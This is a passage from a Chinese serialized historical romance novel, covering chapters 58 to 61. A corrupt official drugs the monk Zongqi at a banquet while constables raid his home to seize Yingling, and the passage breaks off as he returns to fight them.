“做公的人，尤其守门的役吏，最是认钱认衣。你虽不穿锦挂金，却也不能教他们看低了。”她道。 宗契一笑，见她殷殷叮嘱的模样尤其温顺，心头胀得欢喜，随她出屋，瞧着她道：“是你思虑周全。” 便又回屋换了一身簇新的细布黑衣，袖腿绷挂都紧实了，愈发地挺峻魁伟。应怜与他隔了半个小院，对面屋檐下瞧得真切，心道方才她话却也只对一半。谁说看门的只认衣裳不认人，他们最是有眼色，识人气度；如他这般一望便知轩昂不似人下者，决计不会受那等人刁难。 宗契穿整毕了，与她招呼过，趁着天色尚早，便出了门去。 也不知是他那身衣裳周正，还是塞与的碎银使了用场，府署看门的几人果真没为难宗契，只是也没通传，点了他几句话。 “师父有所不知，吴通判确是将要上任的新官，只是还没到。袁知府如今也不在，一应事务都由几个判官、参军们分辖。”门子收了好处，知无不言，“不过听说近日已是要来的。师父把名姓住处报上来，等个三两日，上官若来了，咱们好知会您一声。” 宗契半跑了个空，先喜他吴官人真将来此处，却想他脚程怎么如此之慢，几日的路程，从去年走到今年还未至，只得先谢过，报了名姓住处，且先回转，等候些时日。 他从府署离开，一路穿街过巷，也不骑驴马，沿来路 而去。 坊市嚷嚷扰扰，各样叫卖说话吵闹不绝，人、马、车轿、杂货，使人眼目观堵。他折过几道街，又转过几条巷，脚步却稍稍慢了下来，不向家中去，却拐进一条僻静的巷子，角落里候了几息，身形陡转，揪出来个鬼鬼祟祟尾随的人。 那人浑地一惊，再料想不到，慌不迭挣扎。宗契眼眸一冷，打量着道：“你不是府署里公人么？却怎么做此宵小行径？” 那人一身皂隶公服，方才慌来求饶了几句，这会子稳住心神，勉强硬气些，只是怕吃他拳头，忙道：“是、是！师父快放手，我不过按例核实你住处，不是歹人！” 宗契这才将人放开，生了恼，“不是报与你了么，城西过太平桥，清化坊第二条青牛巷，冲北第六家就是，还诓你不成？” 那皂隶见他不好惹，又解释半天，道是惯例，只因怕寻上官的是贼匪歹人之流，报个假名姓住处，借机寻仇。宗契听了，也不好过于为难他，只道：“我向来行得正走得直，从不打诳语，你若不信，随我走一遭便是了。” 对面忙忙地应下，一路果真随他，连走带小跑地去了。 一来一回正直日午。应怜早已在在院儿里候着，支棱着耳朵听外头言语。一晌忽听得两人说话，一个便是宗契，似与人指路，“就是此处，我开了门进去，你总不至还要跟来？” “哪里、哪里！我见师父走到了就好！”又一个是个赔笑的声音。 她也不知是什么情形，纳闷了便来开门，倾出半个身子，便望见了巷口而来的宗契与一公服的皂隶。宗契怕她担心，先道了声“无事”，回头又与人作别，便入了宅院。 应怜本犹豫着要不要请那皂隶一杯茶水，刚侧了半张脸，便见那人眼珠在她身上扫了几圈，却什么话也没说，走了。 宗契便将路上事与她讲了，喝了温茶润喉，又说了吴官人未至的事。 应怜些微失望，转又道：“也无妨，咱们候在此处，等他就是。总之你与师父的信也才上路呢，一并等了。” 她微垂眉眼，语气寻常。宗契却只觉她近日似有心事，想来那牌位供上香案，到底牵动了她往昔的挂念，成了一块心结。 这心结在他家人枉死的性命，任他如何劝慰，也宽解不得的。纵是他自己，想到此，也如一根刺扎在喉头。 若是一般仇家，有仇报仇便是；只是斩首抄家，这仇却找谁去报？那一道旨意出自天家，难道寻那圣人的错处？ 第59章 第59章见月坠西海，怕鲸触破，…… 晌午时，宗契依旧出门一趟，四处扫听，有无姓陈的人家，曾嫁女去过郑州。 本就是大海捞针，寻不到是常理，寻得到才是意外。他料想得与不得间，自有缘法。廿载已过，陈年旧事，他也不必强拗着得一个结果。 今日依旧行在坊市之中，却被一小伙计从后头叫住，道有人楼上请吃茶，说着拿手指自家酒楼阁子上。 那阁子半敞着窗，依稀见里头有人影，只小半个侧身，瞧不真切。宗契纳闷，随人上楼。 此间酒楼颇是阔气。楼上雕花窗户、朱漆栏杆，彩幔垂摇，遮了楼下长年累月烟火气。伙计引他向内十几步，到了一间，叩门恭敬询问。 “进来！”里头人道。 那声儿一派精神气，有些耳熟。宗契正思忖何方曾照会过这样一人，伙计已推了门，请他进去。 那请客吃茶的人正从里间出来，酒肴甘美之中，与他打个照面，不是初见，却是重逢。 “赵芳庭！”宗契惊诧。 可不正是赵芳庭！ 有宗契魁梧身量作衬，这赵大官人虽锦衣华服，硬生生显得瘦小了一圈，只是那精气神儿一如往常，甚而更熠熠一些；见了宗契，满脸故交之喜，先把臂勾肩，将人带入内，好一番寒暄，又请他主座上坐定。 宗契见那美酒佳肴，鱼肉做底、狍鹿獐雉烹煎蒸炸，百般滋味应有尽有，那酒更是浓醇得漾出满室的芳甘来，好一桌山珍美味，却未动筷，热腾腾地候着宾主落座，言语尽欢。 赵芳庭也不瞒他，实实诚诚道出本末：“兄弟可教我一番好找！自那日莲台寺外咱们不欢而散，哥哥我心中多有愧疚，几次三番找寻，只慢你一步；这一回打听得你们来了江宁，故今日早在此等候，这桌酒宴，就当我为你赔罪了！” 他彼此斟了一杯，先干为敬。宗契却执盏不饮，问：“找寻我做甚？又是说富贵？” “兄弟心中莫不是还怨着我？这般拿话来寒碜！”赵芳庭虽说着，面上眼底一毫儿不羞恼，却当真掏出了一点真心来捧与他，道，“我从前不知你是个顶天立地的英雄，因此拿那富贵名头来钓你；如今钦佩你为人，那点富贵又算得了什么？我心里认你做义气兄弟，自然要为你打算。这一回，是来问你一句话。” 他两只眼盯着宗契，本是一张油嘴滑舌的脸，却无端此时透出一股子再郑重不过的意味，倒显出了几分坦然来。 宗契问：“什么话？” 赵芳庭道：“你可愿替她报仇、保她荣华？” 宗契不动声色，眼底却微微凉沉下来，目光攥着他，犹如被侵入领地的虎豹。 一晌里箭在弦上，空气也窒闷下来，山雨欲来。 “我真心为你，少不得打听你身边那人，你也莫要着恼。”赵芳庭忙道，“凭你的气概、凭那应娘子的样貌，你二人正如锥在囊中，醒人眼目，何曾能当真大隐于市？有心者如我这般，略一打听，便晓得根底。朋友自无妨，若是仇家呢？你可能三番五次保得了她？” 实则他嘴里这“略”一打听，有七八成水分，也是赶巧，全听他那曾相好过的折柳所说。但赵芳庭自认不亏心，他就不信，上回富贵说不动他，这一回，拿住他软肋，不怕他不动心。 “我自当以性命相保。”沉默片刻，宗契道。 赵芳庭一笑。 他再敬宗契一杯。这一回，宗契一饮而尽。 “我信兄弟力拔山岳的本事。然一人敌，又能敌几人？”他话锋一转，再道，“好，这且不提，你自有保她的能为。可你又怎知，她要的只是保全一身，而不是为亡人昭雪？” 他说罢，借一杯酒的功夫，只几眼观瞧宗契，心中便有了底气。 他瞧见了他眼底的动摇。 软肋啊。赵芳庭又自斟了一杯，那玉酿甘泽，粼粼曳波，一如年前在青玉阁暗无天日的柴房里，逼仄、臭闷、狭小的铁笼中，他乍然一瞥的那女娘眸光。 色是刮骨刀，情是英雄冢。哪怕坦荡轩昂如宗契，也堕了英雄气，挣不出温柔乡。 今日他又回来得晚些。 应怜在家中候着，手里翻弄那白封红帖儿，上头清清楚楚写了宗契的名儿，请他府署一叙，却无落款名姓，只有“录事参军”四字，显着几分权势压人。 这是晌午来人送的帖儿，说是府署的贾参军请宴，教宗契明日晚务必前去。 她不知是何缘故，想着或与上一回他去府署寻人有关。难道是那姓贾的参军偶一瞧见宗契，喜他英武过人，欲要收为己用？ 也不知是喜是忧，唯有等宗契回来，再与他商议。 春日虽比严冬天长，挨到酉时，也终日尽了。外头昏色暝暝，应怜怕宗契归家瞧不清路，便寻出灯笼，正是年前扬州预赏时，他为扑着的一双红鲤无骨灯。当日她离去时，便都带了去，此时点了烛火在里头，一盏挂在门口檐边，一盏挂在院内他屋檐下。 她已用了饭，回屋点一盏灯，翻出一本《松窗杂记》，边看边支着耳朵听门外动静。 宗契循着那一盏琉璃幢幢的焰火色归来，到得自家屋檐下，仰头才见了一尾红鲤，熠熠流着光华，映明了门上新春的桃符与门神。 他心存了赵芳庭一晌午的话，沉甸甸压着，伸手将那灯取下来，在门口顿了一顿，晓得此时她应未睡下，也不知在做什么，想必正等 着他。 【她本就是花团锦簇里生就的一人，与你、与我皆是不同；一朝遭了大难，你若真有心，难道不疼惜她，就任她从此在泥尘里活着，背着家破人亡的苦仇，一辈子跟着你，无名无分，连名姓也摘了去？】 他又想起赵芳庭的劝来。 她便是这红鲤，合该放归入水，而不是在这愈深愈浓的夜里，茫茫然守着他归家。 他将灯柄攥在掌心里，推门入内，一眼又望见他自己檐下一盏一样红鲤。对面屋里却亮着，澄明的窗纸上，窈窕温柔地映下她低头的剪影，秾纤合度，如珠似玉。 一晌那娴静的影儿动了动，扭过头来，却见小窗一支，是她倾身探出头来，才见了他提灯而来的挺拔身形，心生欢喜，一笑便又落了窗。 片刻那门又开了，里头走出应怜来，背着屋中半明的灯火，白玉样脸庞染了橙红光晕，仿佛红了脸颊，又噙着微笑向他招手，欲迎还羞。 宗契便将她望进满心满眼，心头涨满，忽生出一种冲动：她纵是月宫中来，既来了，便不放她走，藏着她过这辈子就是。 “你今日晚归了，是遇着什么事么？”见他沉默伫立，她有些纳闷，几步走来，却闻了他一身的酒气，诧异问，“你去吃酒了？” 他忽有所觉，回神微微垂首看来，定定瞧她花萼凝露样脸容，却没头没脑问了句：“你想家么？” 应怜一怔，张了张嘴，莫名不知该说什么，以为他醉了，道了句“回屋再说”，便来搀他。 宗契哪要人搀，借那三分醉意，她伸手时，反格开攥住了她手臂，听她低低惊呼一声，觉得惹人怜得紧，不自觉便笑了一声。 应怜教他吓了一跳，纳罕他今日究竟喝了多少，竟就醉了，要收回手，却被他钳着，怎么也抽不出来；再看他，素日沉稳的脸上这会仿佛得着什么趣儿一般，纵着她挣，总不放她。 她渐渐涨红了脸，只觉那目光里执拗地有什么，又有些灼烫，她不敢去迎。 便听他又问了一句：“你想报仇么？” 他依旧攥着她手臂。应怜正挣着，忽听这句，猛地一滞，方才那渐热的血也凉了下来。 她一瞬懂了他意思——说真话，否则便不放手。 应怜渐渐静了下来，晓得他目光就在上方，一时不知该如何回答。 好在他也不急。半醉里生出一念：若她说不想，他便…… 便如何？ 与她一道，江宁、代州、甚或扬州，哪处皆可，遂了她心意，一年、十年、一辈子，只要她肯。 “……想。” 酒意褪去，他月下灯畔，定定瞧她。 应怜又说了一遍：“想。我想报仇。” 宗契灼灼的目光似要穿透她，半晌点头，手掌松开，如禁锢自落。她抬头，正对上他，目光撞在一处，见他如寒星疏朗，比月还明，直照出肝胆清光。 她忽想起方才看那书中，说起一事，道渔人于秦淮河中，网得一宝镜，能照人五脏六腑，如穿冰雪。 莫不是宝镜未失，却在她身畔，化作他模样，探照她心底事。 “好。”他只道了一个字，应了她的诺。 应怜心不定，好歹将他拉到自己屋中，按坐下来，又瞧他并不十分醉，便不让他吃茶，只沏了一杯温温甜甜的蜜水来，又在他旁侧坐下，问：“怎么突然问起这个？你今日遇着谁了？” 那蜜水甘甜滋味，散入唇舌，和酒一起，虽解了渴，却返上一丝苦。宗契喝一口便放下，道：“是赵芳庭。” 应怜想了一会儿，才想起这人为谁，不由瞪大了眼。 宗契便将前后事与她简明道了一遍，不提赵芳庭怎样拿她来鼓动自己，却说起了吴官人遭逢厄事，如今自身难保。 应怜呆怔半晌，想不到竟是这样一个结局，便又想起应栖来，到如今竟不知他救下彩儿，究竟是对是错。 他却一眼瞧见那张半压在书下的帖儿，正见上头“宗契”二字，便取来，草草看了一遍，“这是什么？” 应怜答应一声，且压下愤懑的心事，道：“是晌午府署里公人送来的，教你明日酉时去吃酒。” “自来只有请官差吃酒的，哪里有官差请人吃酒？”他皱眉将帖儿翻来覆去看了几遍，末了道，“罢，明日我去一趟，你在家落好门栓，我不回来，你莫要开门。” 她点头。 只是想问他院中那一声“好”是何意，隐隐觉着他似乎下定了什么决心，与自己有关，却又无从问起；且自己心思也未全部摸清，这事还是缓缓再提。 他便起身回屋。应怜送到门口，与他一道，望见对面檐下挂着那盏红鲤灯，澄黄明耀，照得一团光亮，迎他归去。 想起他曾扬州辞别，如今却到底仍在一处，应怜心生感慨，道了一句：“当日你那一盏灯却没拿走，好在我一并带来了。” 宗契望着她，身形罩下半缘温暖的昏暗，落在她身上，眸子里澄明一片，尽数化作向她的柔和，道：“以后不会了。你给了，我便收着。” 他微微一笑，向灯火而去，到得对面屋檐下，果真仔细卸下红鲤灯，提入屋内。那光火幢幢，在幽深的夜里随他而走，渐生了无言的温柔。 第60章 第60章利字蒙眼心不见 翌日晚，府署后院小花厅摆宴。 忙活这晚酒肴的役使仆从不少，捧馔进果，围着小花厅蜂儿蝶儿似的乱转。 皂隶里武大用是个老油滑，今夜也被从被窝里拉出来，叫在厅后等候。他便溜了一碟子咸盐瓜子，瘫在不打眼的班房里闲嗑。 一会儿，他教的一徒弟过来，唤作李五的，才新来了半年，对他正是恭敬客气的时候，进屋便笑道：“师父却原来在此偷闲。一会子那和尚要来，官人叫咱预备着呢。” 武大用含糊“嗯”了一声，没动。 那瓜子壳正吐在他脚下，李五差点被楔了一脚，往后一退，又道：“师父您上上心，今儿去他家拿人，可是我为您求了半天求来的巴结机会。这事儿若办好了，不比您在府署混吃等死二十年强！” 他一腔钻营上进的热血，却只又得了武大用一声“嗯”，嘴皮掀了瓜子皮，吐在脚底一模一样的位置，其余动也不带动的。 李五便有了一种恨铁不成钢的意味，又懊恼自己怎么当初就认错了师父，把个烂木头疙瘩认成了狗头金，恼起来也不劝了，转身要走。 他要走了，武大用这才停了嘴，叫住他，依旧像半截子瘫了似的，厌厌地道：“谢你好意，只是我惫懒惯了，有一口饭吃足够。另外，看在你我师徒一场的份儿上，我也劝你一句，这差事伤天害理，你能推则推，别瞎掺和。” 李五脚步一顿，听着刺耳，心道他狗嘴里吐不出象牙，也没理睬，自个儿钻营上进去了。 直待出门，他仿佛还能听见那咔擦咔擦嗑瓜子的声儿。他暗嗤一声没出息，到了前头亮堂处，候着今日贾参军的吩咐。 参军是没那么早到的，先来的自然是那和尚。 李五听人讲过那宗契，见过的人都道最是有不俗的气概，本以为夸大其词，今宵一见，他自廊下走来，步态稳肃从容，身量魁伟，端看那两只寒星一样的眸子，便飒飒然有金风肃爽之气，当下心中便也一声赞：好一个俊杰的人品，怪不得身作一个出家人，却还能有那样的艳福。 宗契被引入小花厅，明烛华彩、朱门雕窗，颇是一番富贵鲜美之象。从人引他入一方桌，对席而坐，先殷勤斟上酒来，又去请贾参军。 李五便听候在侧，角落里一动不动，像尊泥塑一般，却将宴席之景尽入眼中。 贾参军其人，貌甚宽和，因此来时和气一团，连连夸赞宗契，又好一番打量；带来两个相陪的客僚，甜嘴蜜舌，一边劝酒，一边问籍贯年龄、宝刹何处。 实则这些前日俱已打听明白了，还是李五亲自寻赁屋的庄宅牙人探听的。 宗契答了几句，便早已被人劝了七八杯下肚 。贾参军又嫌那琉璃小杯不过瘾，教人换了巴掌宽大的银樽来，倒入一片波光绿醴，一壶温酒，便空了一半。 酒至三巡了，贾参军便又问起他家中情形。宗契道：“父母皆已不在，如今云游在外，一人而已。” “高僧这话，似有参差。”贾参军笑道，“你家中分明还有一人，为何藏着却不说与人呀？” 说着便唤来一人。李五觑眼一看，却是王炳，正是前日里他随去那和尚家，一眼见着出门来的他家女娘，回头又报与了贾参军，说那女娘如何如何貌美，真如白日嫦娥旱地莲，引得人动心。 想到此，李五有些艳羡。早知那一趟是个好差事，能一饱佳人眼福，还能卖贾参军个好处，说什么他也得争得的。 正眼红着，那头见王炳小子忝着脸与和尚笑道：“那日里我见一小娘子，正在高僧家中，那想必是您的内人了！” 宗契刚一变了脸色，贾参军却斥道：“胡说！出家人怎可有妻室，宗契师父是高僧，又岂不知这是犯条例的事！” 说着为宗契劝酒，拿话揭过这茬，却拍拍手，教乐伎上了歌舞来，一晌里丝竹管弦，各座其乐融融。 只除了宗契。 他正摸不准今日这宴到底为着什么，只听贾参军又道：“高僧见这美人乐舞，想必如粉红骷髅；只是我等凡夫俗子，总也看不穿罢了。” 说罢，赏一回歌舞，又招手叫来其中一个盛妆丰艳乐伎，来为宗契侑酒。 香粉馨风，却平白教宗契皱了眉头，按下那乐伎欲捧来的酒樽，道：“我自己来。” 贾参军一旁瞧着，笑语晏晏，待那头又劝了一杯，才道：“不知高僧家中，与樽前美人相较，哪个更得您心呢？” 他话中意竟拿应怜与乐伎相比。宗契倏然沉了脸，径道：“参军不该拿我家人取笑。” “家人？”贾参军反不以为然，道，“高僧不是说，你只一人，又何来的家人？我听闻那女娘是你花钱买下，想来是家中女使了？” 这话说的就很不像样了。 宗契的确曾费了近千两买下应怜，却从未对外露过半个字。这人又从何听来这些说辞？且三番五次扯上应怜，酒宴也就变了滋味。宗契不欲再留，索性将话问明：“参军此次相邀，究竟为何？” 那几人互望了一眼，皆笑了起来。贾参军未开口，客僚先道：“高僧是出家人，家中却藏纳一妇人，便心如日月昭昭，岂不知瓜田李下，引人诟病？” 又一人道：“如今我等为高僧计，这妇人万不可留于家中，不如早早舍了的好。” “我近日里求一佳人不得，托人打听，总也不遂心意。偶一机遇，得知你处正有一佳人，不知高僧能否将她转赠与我，我虽不才，却也忝为州府属官，必不亏待于她，且有厚礼相赠，如何？”贾参军末了才发话。 宗契猛一起身，已勃然变色，慑得人竟滞了一滞。 “我道为何设宴邀我，原是为了这个！”他恼来声如沉雷一般，滚滚砸在众人头顶，“天下妇人多的是，参军若要求佳人，更去找寻便是。恕我不知礼数，此事万答应不得！” 他说罢要走，又教两个客僚死活拖拽了回来，软语相劝，百般好话哄来，连贾参军也来留人，终抹不开面子，毕竟在他地界，不好将人得罪挺了，只得蕴着气坐下来。 贾参军虽好言劝着，脸上却不若先前宽松，拿眼扫了扫李五。 李五便晓得，今日这事来了。 他也不看座上几人，默不吭声出了花厅，到后头小屋里，点齐四人，教抬上一软轿，跟着出门；又见那曾通风报信的王炳跃跃欲试，也想要跟去，却拦住他，派了个别的差事与他：“你把这包药粉下在酒里，教那和尚喝了。” 他袖里掏出一扁扁的药包儿来。 王炳不敢接，问：“这是什么药？” “不是毒，”李五笑话他胆子小，“是蒙汗药，管教他一碗便倒，休来坏咱们的差事。” 王炳这才拿在手里，咕咕哝哝地去了。 李五几人便自去抬一顶小轿，向着城西清化坊青牛巷而去。 这头宗契早已不愿再待什么狗屁宴席，客僚几个喋喋不休地说，仍欲说动他心意，更有要用两三个乐伎换他那一个的。他不欲同这一室乌烟瘴气相处，拂了那几双强留拉下的手，起身定要走，连乐伎奉上的酒也撇了，碰倒在地，流得尽是。 忽有一人，拽了乐伎高髻发冠，不容分说便要拖走。那乐伎哭喊求饶，宗契定睛一看，后头扯着头发之人，却是那唤作王炳的公差。 王炳道：“定是你这贱人侍奉不周，惹得高僧生气，坏了今宵好宴，此番我必拿你是问！” 乐伎哭得妆尽花了，道：“不是奴不周到，是他实在拦不住要走！” 王炳哪听这话，已然抽出腰刀来，拿刀柄在她脸上撞了一记，一下打得人嘴鼻出血，面皮青紫起来。 贾参军几个却只视若无睹。宗契看不过去，喝道：“是我自要走，干她什么事！你把人放下！” “她奉酒来，客人不喝，便是她的错处！”王炳向着他时，断然又换了一张卑恭脸色，拽了乐伎到堂下，又道，“这便是樽前侑酒的惯例，非是我强横。” 宗契不晓得什么惯例，一把喝住他，满肚子火气，“好，我喝她这一杯，拿酒来！” 王炳便一搡那乐伎，自带了一坛酒，教她拿来一海碗倒了，捧与宗契。 乐伎青紫了半边脸唇，欲哭不敢哭，勉强扯出笑脸相对，战战兢兢奉来酒碗。宗契心道她是为自己所累，却又想起应怜，想她若不为自己所赎，真在那青玉阁，少不得过得也就是这般为人打骂为人辱的日子，心中一股怒气冲撞，更发泄不去，一把将酒饮尽，掼在地上，竟将那银碗掼得扁了。 贾参军却一反常态，冷眼瞧着他喝了酒，抚掌而笑，“好一个敬酒不吃吃罚酒，你这和尚，一身铜筋铁骨不成？” 随他击掌声起，却从堂外涌入七八条壮汉，各个执了刀枪，望之便来者不善。 “把他拿下。”贾参军冷哼。 这才真正是鸿门宴。宗契恍然明白，先是言语哄劝威逼他交出人，一计不成，再来横的，行那明抢之事。 他心中恼怒已极，这寥寥几人哪看在眼里，暴喝一声，跟步一个突撞，擒住一只臂膀，先扯人格开一顿刀枪，一刹时缴了那只手上腰刀，一个照面，却是冤家碰头，正见那王炳一张使人憎恶的脸，当下照猫画虎，一刀柄捅上面颊。 只听王炳一声惨呼，捂着脸，鲜血便从指缝间流出来，却与那乐伎一般，险些脸骨也被敲碎。 两刀一左一右直挥来。宗契一息间已退身半步，一手一只彼此交架一处。那两柄刀收势不住，猛一劈砍，对面便伤了肋下肩头，却不见了宗 契，回头他早已势如山洪，将刀做棍，脚下抄出一圆，刀鞘砸在几人腰腹间。 七八人也不是对手。贾参军本胸有成竹，才几个瞬息，却见形势陡转，惊得也不敢再看，只悄悄儿在客僚拥护下退进了内室。 宗契正将人避退，身已至堂下，却猛一阵眩晕，好悬身势收不住，脚软滚下阶去。 那被毁了半张面颊的王炳见状，含糊叫道：“他药性发了……拿下、拿下！” 那晕眩来势汹涌，饶是宗契体魄强健，也招架不住，只觉眼前灯火一晌俱旋转起来，耳边听得人叫喊，嘈嘈杂杂，似慑于他强悍不敢逼近。 宗契才知中了他等奸计，咬牙怒骂：“卑鄙！” 他狠狠一咬舌尖，勉强聚气不散，晓得此时必要逃出去，否则他与应怜两个都难逃一劫；倏尔想到应怜，心中猛惊，只觉不妙，怕她独自在家中出事，更没了对峙的心思，寻定了来路方向，便猛冲而去。 后头皂隶如虫蚁跟定上来，竟有在头前堵路的。宗契发狠，也不顾手脚轻重，使出一身气力来，擒了人臂膀，竟一把拎着脖领子，一声怒喝，将一条一百来斤大汉扔到了廊外，一头栽进黑洞洞不见光影的小池塘里。 药性愈发地窜进头脑，他唯剩一念：回去，找她！ 左冲右突，也不知到了哪里。宗契整个人清醒少、昏沉多，听得四下一片叫喊，皆是要拿他的响动，从明处向暗里跑，忽撞着一人，猛地一惊，犹以为是帮凶的皂隶，正欲抬手将人敲晕，却听那人急急道：“从此向右到院尽头，直往前，便是府署后门，马养在那处，你夺一匹马来，赶紧家去救人！” 他一怔，只这么一瞬息的功夫，嘴里被塞了一物，生辣的呛味入喉，平白激得清醒了几分，却是一支老姜。 宗契也来不及瞧那是谁，晓得是来帮他的，一点头，随即向右而去。 追兵前后脚的功夫，到得班房黑暗处，却已没了那和尚踪影，只有个人躺在地上，哎哎哟哟捂着脸乱叫，照来灯笼一瞧，却是皂隶武大用。 武大用脸上被打了一拳，青青紫紫的，疼得直叫唤。 那几个问：“和尚呢？往哪跑了？” 武大用指指左边，一会儿见人向左跑出几步了，又指向右喊：“许是右边……哎又许是左，我被他打了一拳，哪记得清！你们自找一找吧，嘶……回头报了伤，可得好好歇一歇……” 那几人闻言，骂了两句，没奈何，商议了一阵，只得分兵左右，各自去寻人。 待动静去后，武大用才坐起身，哼哼着出了一口气。 “半夜上门抢人家妇人，缺不缺德……”无光无火的夜里，他揉着被自己打肿起来的半边脸颊，咕哝了一句谁也听不出的话。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 第61章骇浪惊船，千峰已过…… 夜还不见得怎么深。应怜于灯下看过几页书，却颠三倒四，存不进心里。 她今日有些心不宁。探其究竟，总是宗契此时尚未归，她虽挑了灯等他，却又忍不住思量那头设宴是为了何事，愈想便愈没睡意。 忽又想到，他此去必是要吃酒的；她却疏漏了，没备下醒酒汤。 想至此，应怜搁了书，犹豫是否要去厨下煎一碗热茶，随意撒一把什么，不拘是蒜是姜还是醋；却又一想，宗契酒量不见底，何曾见他吃醉过？ 罢了，到底有备无患，万一这一回他就醉了呢？ 她便秉了一盏青白瓷的油灯，向他那屋后头的厨房而去，笼着一袖灯火，穿堂里走过几步，想这院儿虽宁静，却到底小了些。他把宽敞的那间让了她住，自个儿住的这一间离厨房太近，日日燎着烟火气，总为不美。 往后若有时日，不若将她那一间拆了，重建一座小楼，楼上楼下住她二人；这一间小的就辟做书房或杂室，倒也不错。 才到了厨下，应怜正忙活着舀水，又撒盐倒醋，四下悄声无息里，忽响起了些动静。 “嘭”、“嘭”几声，似是前头传来，比叩门又粗鲁不少。她起先以为左邻右舍谁家来了熟客，细听了片刻，却又不像，更有些杂乱的人声隐隐约约，当中几个字眼，尤其分明。 “逃奴”、“搜捕”—— 她心底一咯噔，本欲向前探探究竟，才走到门口，却不知哪一根心弦被触动，猛地住了脚步，静听外头愈发明显的嘈杂声响，仍有些飘忽忽的不真切：这逃奴，不会是自己吧？ 宗契走前，千叮万嘱，教她落好院门门栓，非得他来，一律不要开门。如今那门外巷里却有刀兵劈剁之声。她来不及细辨，先有些慌，什么醒酒汤也没心思做了，想就先回屋，候过了这一阵再说。 那动静夜中愈发使人战栗，更兼有影影幢幢的灯火明光刺破黑夜。哐啷一声，恐怕是门被砸倒，惊得她手中油灯也抖了抖。 这一下听得分明了，不是邻家，就是她自家！ 应怜一晌慌了神，刚走出厨房的三两步又退了回来，心中大震，当下吹熄了灯火，隐在暗中，才避了身形，隐约见四人明火执仗，踩着倒塌了的门板，抢入院儿来，嘴里还嚷嚷：“我等奉命搜捕逃奴！坊间百姓不得滋扰生事！” 灯火下，那几人面貌形容倒一眼望得真切，皆是年轻力壮的公人，一个个再蛮横不过，一晌分入得她那屋里，也不知怎样翻检，一会儿闹将出来，相互报与：“没人！再搜——” 一整个宅院，屋舍通共只三间，连着小廊，几个来回便走得彻彻底底。应怜心知肚明，躲更躲不了一刻，趁黑逃出门去，才有生路。 只是她怎么也想不通，这几人公差模样，为何忽夤夜来搜捕她？道她是逃奴……难道宗契那里出了事？或者更甚，她底细漏了，有人要拿她归案？ 这一念头浮上，她更觉得不妙，无暇细思根由，强压着教自己冷静下来。 宗契有没有事且另论，她自己决不能落在他们手上，否则他那头无虞，倒平白被她拖累。 只是应怜惯无对敌的策略，半晌才想起来要防身，黑灯瞎火一通摸索，好歹摸着平日里宗契剁骨切肉的一把菜刀，攥在手里，无由有些发抖，更没地儿躲藏，才四下里找寻躲避时，火光已遥遥朝她这头来了。 穿堂里急乱的脚步一过，有几人的声音顺着夜风切切地送来： “那两屋都没有，定在这后头！” “她一个不大的女娘，能躲哪里去，必定还在此处！” …… 应怜躲在厨房门后，没由来脚底发软，不用瞧也晓得此时面无血色，更门缝里已迎着最近一点火把灯笼，动也不敢动，隔着一门，任人堪堪擦身而过。 心跳到了喉头，至此生死关头，她一腔血几近倒涌，脑中嗡嗡直响，半边身子如沃冰雪、半边身子如置沸鼎，心里数着几人脚步： 三、二、一。 ——就是现在！ 正最后一人尾随入厨房，举着灯笼四照，后背离门空了一步。 应怜不待人提灯照见她身形，一个箭步，盯准空子，从那人身后猛滑出去。 入屋几人猛一惊，当先叫喊：“拿住她——” 穿堂本无风，她跑动得快了，却仿佛听着了风声。后头却钉着追来的脚步，恶鬼似的，怎么也甩不脱，又越离越近。 应怜心胆欲裂，刚至前头宗契屋边，一把被人拉着一片衣角，险些收势不住，一个跟步摔出去。接着一只手铆上来，她猛一回头，几乎正对那一双得意凶狠的眼。 她慌来顾不得其他，手里那刀一挥，也不知擦着什么，细细一声裂帛，惊得人头皮发麻，当下手一哆嗦，扔了刀便逃。 后头有人哀叫起来。她哪里敢回头，一心径往院外跑。 这般动静，想必邻舍早已听得，只是无一人敢出头，更无人搭一援手。 院门早已被砸落，空洞洞一片幽黑。那却是生路，应怜晓得。 她几乎慌不择路向前冲，已离那门口愈发地近，仿佛手一 伸、脚一蹬便要跨过去。只在此时，不知哪里拦出一双手臂，锁链一般，将她一把锁住！ 应怜尖叫一声，冲着那黑处转出来的一个陌生脸孔，手刨脚蹬，胡乱抓过去。 后头紧跟着追出来那四人，皆松了口气，其中一个还捂着手臂，鲜血汩汩，正是方才被她刀口伤着那人。 “李五！”那人恨恨叫道，“你这贼小子，咱们把人赶出来，却被你捡了个漏！” 抓着应怜的正是李五。 在他面前，应怜那点虚张声势的抓挠半点用没有，反教他单手锁了她一双腕子，腾出一只手来，来捏她下巴，“我瞅瞅这逃奴什么模样，教王炳那厮如此念叨！” 他伸手来抓，应怜血冲上头，哪里瞧得是人是鬼，尖叫着躲避不过，狠狠咬来，叼住那手不放，吭哧一口，几乎咬下一口皮肉来。 李五惨叫一声，反手松了，照她脸孔便是一掌。 应怜下意识抬手，只格开一半，教掌风扫着尾巴，却也力道凶狠，瞬间磕破唇角，渗下血丝来，一片麻麻地疼。 她被松了桎梏，转身便要逃，却哪里抵得过李五，一把被拽回来。 李五手背挂了一片血红，恨得咬牙切齿，手下便不知轻重，揪着应怜衣襟，刷拉一下，将那薄薄春衫衣带拽断，透出一片雪白玉润的肩头来。 应怜懵了一瞬，望那几双或贪或淫的眼，犹如不知何时，壁上见恶鬼明王，胸口闷得喘不过气，嘴里一片咸腥锈味，张嘴却只记得一人，“宗契！宗契——” 他尚在马上，便听着了里头凄厉带着哭腔的叫喊，唤他名字，要他救她。 是应怜。 宗契嘴里含着姜，一路昏昏沉沉苦撑在马上，也不知怎么奔至的城西家中，蓦然听得这么一声，浑身血凉了一瞬，脑中唯紧绷着的一根线，断得无影无踪。 他也不知是跃下马，或是马吃疼，将他摔下来；顾不得那畜生，跌跌撞撞夺入家门，一番晃动不安的灯火里，将那几人纠缠之状正瞧了个满眼。 四五个汉子围着抓着，血淋淋的地上，被压跪着应怜，两手反剪，脸面惨白，嘴边却渗着血，衣襟也松散，露着一片雪样的肌肤，也不知遭了什么罪，一眼望向门口，定定怔住，泪珠子断了线似的，更挣扎起来，叫道：“宗契！他们有刀——” 不知何来的一把火，猛一把烧得天昏地暗。 宗契眼里是她嘴角的血。那血倒灌进他眼眶，他目中一片通红，但听得自己咬牙攥拳之声，连额上青筋也凸凸地跳。 “欺人妇孺，贼子——该杀！”那脚步仿佛已不由他所控，一步一步，踉踉跄跄，却山雷一般向前。 李五几人慌了一瞬，紧接着抽出腰刀，相互却叫嚷起来：“他已不行了，咱一块儿上！” 